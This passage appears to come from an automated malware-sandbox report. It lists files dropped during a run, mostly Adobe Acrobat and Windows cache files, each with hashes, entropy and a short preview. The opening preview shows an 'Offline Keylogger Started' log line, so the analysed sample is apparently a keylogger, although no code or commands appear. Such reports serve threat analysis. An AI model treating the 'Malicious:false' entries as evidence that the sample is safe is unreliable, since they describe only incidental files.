                                                                          Preview:....[.2.0.2.5./.0.1./.1.1. .2.2.:.2.0.:.0.9. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):292
                                                                          Entropy (8bit):5.193934632106187
                                                                          Encrypted:false
                                                                          SSDEEP:6:iOjucA+q2Pwkn2nKuAl9OmbnIFUtV+sZmwncVkwOwkn2nKuAl9OmbjLJ:7SevYfHAahFUtZ/c5JfHAaSJ
                                                                          MD5:A2A874676DFA0B4ABB2F10AF9A835DE9
                                                                          SHA1:8F43CC26EDB679DD23F5B82291B4251855F69DB1
                                                                          SHA-256:1A86BF970414FEE580BF14F87AE7265003F1C1379FEC8DD2609D92CAC2EB6150
                                                                          SHA-512:C4EFB3D49200D02261C73AB8E4C0E1F0D5A49FB495C09D0EB3C936058B197B5521037351F904FE8083C1CC11E098484294EBBC5A8B8DF5862B2DD48874F4A58E
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:05.878 16a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-22:19:05.880 16a8 Recovering log #3.2025/01/11-22:19:05.881 16a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):292
                                                                          Entropy (8bit):5.193934632106187
                                                                          Encrypted:false
                                                                          SSDEEP:6:iOjucA+q2Pwkn2nKuAl9OmbnIFUtV+sZmwncVkwOwkn2nKuAl9OmbjLJ:7SevYfHAahFUtZ/c5JfHAaSJ
                                                                          MD5:A2A874676DFA0B4ABB2F10AF9A835DE9
                                                                          SHA1:8F43CC26EDB679DD23F5B82291B4251855F69DB1
                                                                          SHA-256:1A86BF970414FEE580BF14F87AE7265003F1C1379FEC8DD2609D92CAC2EB6150
                                                                          SHA-512:C4EFB3D49200D02261C73AB8E4C0E1F0D5A49FB495C09D0EB3C936058B197B5521037351F904FE8083C1CC11E098484294EBBC5A8B8DF5862B2DD48874F4A58E
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:05.878 16a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-22:19:05.880 16a8 Recovering log #3.2025/01/11-22:19:05.881 16a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):333
                                                                          Entropy (8bit):5.105317367437716
                                                                          Encrypted:false
                                                                          SSDEEP:6:iO3oN+q2Pwkn2nKuAl9Ombzo2jMGIFUtN9BmZmwj9BiVkwOwkn2nKuAl9Ombzo23:7E+vYfHAa8uFUtfBm/xBiV5JfHAa8RJ
                                                                          MD5:6799CFFD7826202820364E119DA5790C
                                                                          SHA1:2D5A351CB0100E6EA76331728B3E14B4A38EA01C
                                                                          SHA-256:531377509B5178F3AFBCFBE723894C551F004E534624A7C8E263C6C0B76A6A65
                                                                          SHA-512:B34332B061EA84F5A7FC9860B6A0ACF8DD91F016CC6229D5D702CC6D281BDE04FE1D93F29DA44034297F3C422BDDE0024060DB4F3F98904E25270C36CA44B57D
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:05.910 2dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-22:19:05.912 2dc Recovering log #3.2025/01/11-22:19:05.912 2dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):333
                                                                          Entropy (8bit):5.105317367437716
                                                                          Encrypted:false
                                                                          SSDEEP:6:iO3oN+q2Pwkn2nKuAl9Ombzo2jMGIFUtN9BmZmwj9BiVkwOwkn2nKuAl9Ombzo23:7E+vYfHAa8uFUtfBm/xBiV5JfHAa8RJ
                                                                          MD5:6799CFFD7826202820364E119DA5790C
                                                                          SHA1:2D5A351CB0100E6EA76331728B3E14B4A38EA01C
                                                                          SHA-256:531377509B5178F3AFBCFBE723894C551F004E534624A7C8E263C6C0B76A6A65
                                                                          SHA-512:B34332B061EA84F5A7FC9860B6A0ACF8DD91F016CC6229D5D702CC6D281BDE04FE1D93F29DA44034297F3C422BDDE0024060DB4F3F98904E25270C36CA44B57D
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:05.910 2dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-22:19:05.912 2dc Recovering log #3.2025/01/11-22:19:05.912 2dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):475
                                                                          Entropy (8bit):4.958684469570158
                                                                          Encrypted:false
                                                                          SSDEEP:12:YH/um3RA8sqdsBdOg2H7xcaq3QYiubInP7E4T3y:Y2sRdsvdMH03QYhbG7nby
                                                                          MD5:8CDF71B572605B0B3D80FC69034C1DCD
                                                                          SHA1:65083F8F8FFDAB8032BEEFF54AF93D085DD3057A
                                                                          SHA-256:BA16FD650A87B04FEC4C378EDBD7C812ACA3254DC1F5F5D01146A7CEBC36482F
                                                                          SHA-512:ACD2BF0C0FEFFFDC9AB8F7FC2CBD4D530BDEE16F3873836D89E2ED4CFEA6E962B35819FE10D498F591EB186077426B874771936C82B71A9D38937E65E3D2786A
                                                                          Malicious:false
                                                                          Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381211958502932","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125638},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b0f784d7-4dee-497e-8bcf-7cd9ad6e3fd7.tmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:JSON data
                                                                          Category:modified
                                                                          Size (bytes):475
                                                                          Entropy (8bit):4.958684469570158
                                                                          Encrypted:false
                                                                          SSDEEP:12:YH/um3RA8sqdsBdOg2H7xcaq3QYiubInP7E4T3y:Y2sRdsvdMH03QYhbG7nby
                                                                          MD5:8CDF71B572605B0B3D80FC69034C1DCD
                                                                          SHA1:65083F8F8FFDAB8032BEEFF54AF93D085DD3057A
                                                                          SHA-256:BA16FD650A87B04FEC4C378EDBD7C812ACA3254DC1F5F5D01146A7CEBC36482F
                                                                          SHA-512:ACD2BF0C0FEFFFDC9AB8F7FC2CBD4D530BDEE16F3873836D89E2ED4CFEA6E962B35819FE10D498F591EB186077426B874771936C82B71A9D38937E65E3D2786A
                                                                          Malicious:false
                                                                          Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381211958502932","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125638},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):4320
                                                                          Entropy (8bit):5.248613790554159
                                                                          Encrypted:false
                                                                          SSDEEP:96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo787bad:etJCV4FiN/jTN/2r8Mta02fEhgO73go/
                                                                          MD5:1191D567EDFD628AC7A8F6D13E05D899
                                                                          SHA1:6A8E8604B8930EDA2E5F3A42449CC9E49651107E
                                                                          SHA-256:790868BAF7398DF3953F76433D7EF7271CE35FC23A453A66D7085AD585C14EC4
                                                                          SHA-512:1CE8312B5284B4690858940D772D3E787B9E1AFD448F092886096F9FCC658F0C25543FA87AEEA975B476134E006BFA34A978F66567AFD38101572EB43C07CDE6
                                                                          Malicious:false
                                                                          Preview:*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):321
                                                                          Entropy (8bit):5.165062212656797
                                                                          Encrypted:false
                                                                          SSDEEP:6:iOOhwFRi+q2Pwkn2nKuAl9OmbzNMxIFUtIhOZZmwKhONVkwOwkn2nKuAl9OmbzNq:7cws+vYfHAa8jFUtyOZ/AONV5JfHAa8E
                                                                          MD5:D01327F8467EC0F62ECF4888223040AD
                                                                          SHA1:03EC2455C3391E78BCF1FDB02DF05E66E545DBBE
                                                                          SHA-256:6C9ABB62BC949164D4B271C29311F676762AA05D15237A4FDFD0458A4E1F2ADE
                                                                          SHA-512:72063E5085778715E541195953368DA0D52A04DEFAA7F8FD46342F749FA083B4C3AEA8449BBDD74E60175CD904F28283F4310B60810C99DDA6555A2A6DCB78CA
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:06.043 2dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-22:19:06.044 2dc Recovering log #3.2025/01/11-22:19:06.044 2dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:ASCII text
                                                                          Category:dropped
                                                                          Size (bytes):321
                                                                          Entropy (8bit):5.165062212656797
                                                                          Encrypted:false
                                                                          SSDEEP:6:iOOhwFRi+q2Pwkn2nKuAl9OmbzNMxIFUtIhOZZmwKhONVkwOwkn2nKuAl9OmbzNq:7cws+vYfHAa8jFUtyOZ/AONV5JfHAa8E
                                                                          MD5:D01327F8467EC0F62ECF4888223040AD
                                                                          SHA1:03EC2455C3391E78BCF1FDB02DF05E66E545DBBE
                                                                          SHA-256:6C9ABB62BC949164D4B271C29311F676762AA05D15237A4FDFD0458A4E1F2ADE
                                                                          SHA-512:72063E5085778715E541195953368DA0D52A04DEFAA7F8FD46342F749FA083B4C3AEA8449BBDD74E60175CD904F28283F4310B60810C99DDA6555A2A6DCB78CA
                                                                          Malicious:false
                                                                          Preview:2025/01/11-22:19:06.043 2dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-22:19:06.044 2dc Recovering log #3.2025/01/11-22:19:06.044 2dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                                                          C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250112031910Z-183.bmp

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
                                                                          Category:dropped
                                                                          Size (bytes):71190
                                                                          Entropy (8bit):0.8418671210517596
                                                                          Encrypted:false
                                                                          SSDEEP:192:sUN7PgaFJ8+qGHJMojKfSABQs9CYVM6ZqJ:lN7PgaFJRpM9SQ9ZO6S
                                                                          MD5:933F69148EC45D9BE56D7063450F1E63
                                                                          SHA1:DEB748BA75E554DF6DA9A1D89845A4B2F06F7ED5
                                                                          SHA-256:6F21ED09C2F9482741E3496F85B3505F4732EF58E202AAC13D0C43AED9175074
                                                                          SHA-512:13961034EF9C7B9BAFBAA607D40B1CFD1B2D260514D480F16929CEC866432C1998BB426DF4A4E3784FCCD958817C7BF727BDC36A3927C40D1F3140FDDD170809
                                                                          Malicious:false
                                                                          Preview:BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
                                                                          Category:dropped
                                                                          Size (bytes):86016
                                                                          Entropy (8bit):4.444867352071018
                                                                          Encrypted:false
                                                                          SSDEEP:384:SeJci5tfiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:NUs3OazzU89UTTgUL
                                                                          MD5:E9BA3A8ED709E4FD16004BCE69BF4488
                                                                          SHA1:C9E309198C54BD44BC6BB7CAAE764AB423E3FEDA
                                                                          SHA-256:5486FF4B3D4086D2A498C0A76303303C414C01BF037C1C3153E70079D3038A10
                                                                          SHA-512:AB24475FCB04C1A6E64AC5C48B7D08E87F003386C4AFD7AD65934E2B180D2053C3F0092F141A5303DDBB2DAE913E524A8EDE3A94CA52CE9E9E33917FDF2895CA
                                                                          Malicious:false
                                                                          Preview:SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:SQLite Rollback Journal
                                                                          Category:dropped
                                                                          Size (bytes):8720
                                                                          Entropy (8bit):2.212868799673982
                                                                          Encrypted:false
                                                                          SSDEEP:48:7MoIMnCkqvmFTIF3XmHjBoGGR+jMz+Lh4:7LIMnJ79IVXEBodRBkO
                                                                          MD5:306158355F9E3391CB8E03C8D5690D9C
                                                                          SHA1:1A8A54259547E1DC1020BB5AE9AF1348665E3D76
                                                                          SHA-256:FA154D636B73332DAB4A690A56391ABBCE2D9FC995643FB4D6BCEF5AC9C27BFB
                                                                          SHA-512:AF18D5AB127E0051251DA4283ACC59BB3D94908C300D093BF9D104A90112CC9BD2B6995DF9BA1E4814C04DCB12AD65E688E74A5761EC5411D7C35C3098A2BEE7
                                                                          Malicious:false
                                                                          Preview:.... .c.....X[n.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:Certificate, Version=3
                                                                          Category:dropped
                                                                          Size (bytes):1391
                                                                          Entropy (8bit):7.705940075877404
                                                                          Encrypted:false
                                                                          SSDEEP:24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
                                                                          MD5:0CD2F9E0DA1773E9ED864DA5E370E74E
                                                                          SHA1:CABD2A79A1076A31F21D253635CB039D4329A5E8
                                                                          SHA-256:96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
                                                                          SHA-512:3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
                                                                          Malicious:false
                                                                          Preview:0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                          Category:dropped
                                                                          Size (bytes):71954
                                                                          Entropy (8bit):7.996617769952133
                                                                          Encrypted:true
                                                                          SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                          MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                          SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                          SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                          SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                          Malicious:false
                                                                          Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):192
                                                                          Entropy (8bit):2.7425532007658724
                                                                          Encrypted:false
                                                                          SSDEEP:3:kkFkl+N/tfllXlE/HT8k4Sh/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKnN/eT8gJdNMa8RdWBwRd
                                                                          MD5:09B3142327D9E1960EED2E3EE014EEBD
                                                                          SHA1:EA5840AE7C6C6FD46385EB3BEE3828A3470DB332
                                                                          SHA-256:09CB84AB25A56DC492DB48C6386736EC25E9DB1DFF8B576D9163EEEB721E20E6
                                                                          SHA-512:2C21EC77B749C5CAA15DA868F746825238A60BE33A246F5EA9477BA169D1748A5315A9DA41FC616A2B371D09F83CBFDBC1B2332F8277331097A9B2C349354131
                                                                          Malicious:false
                                                                          Preview:p...... ..........o.d..(....................................................... ..........W.....C..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          File Type:data
                                                                          Category:modified
                                                                          Size (bytes):328
                                                                          Entropy (8bit):3.1231175727976703
                                                                          Encrypted:false
                                                                          SSDEEP:6:kKMFxL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:kF4DnLNkPlE99SNxAhUe/3
                                                                          MD5:C11232B53D0F81AB322F97DA008A4793
                                                                          SHA1:1910A6C0B3318B43FE84A69693E146BEA3E6CF26
                                                                          SHA-256:1A1F27D9A6A9EBF88E32BB3E8F8EA789484F0CD427C0DA927248037D1B9E4A44
                                                                          SHA-512:9107A3793A703081BB6B7F8E2515006C71314748E30E63996B542DD9C9664DAE9EC20DBA6C8BF01411A1E81AA34623E9F1451995D5D5FF3A8C1A70700641B236
                                                                          Malicious:false
                                                                          Preview:p...... ............d..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PostScript document text
                                                                          Category:dropped
                                                                          Size (bytes):1233
                                                                          Entropy (8bit):5.233980037532449
                                                                          Encrypted:false
                                                                          SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                                                          MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                                                          SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                                                          SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                                                          SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                                                          Malicious:false
                                                                          Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:PostScript document text
                                                                          Category:dropped
                                                                          Size (bytes):1233
                                                                          Entropy (8bit):5.233980037532449
                                                                          Encrypted:false
                                                                          SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                                                          MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                                                          SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                                                          SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                                                          SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                                                          Malicious:false
                                                                          Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

                                                                          Download File
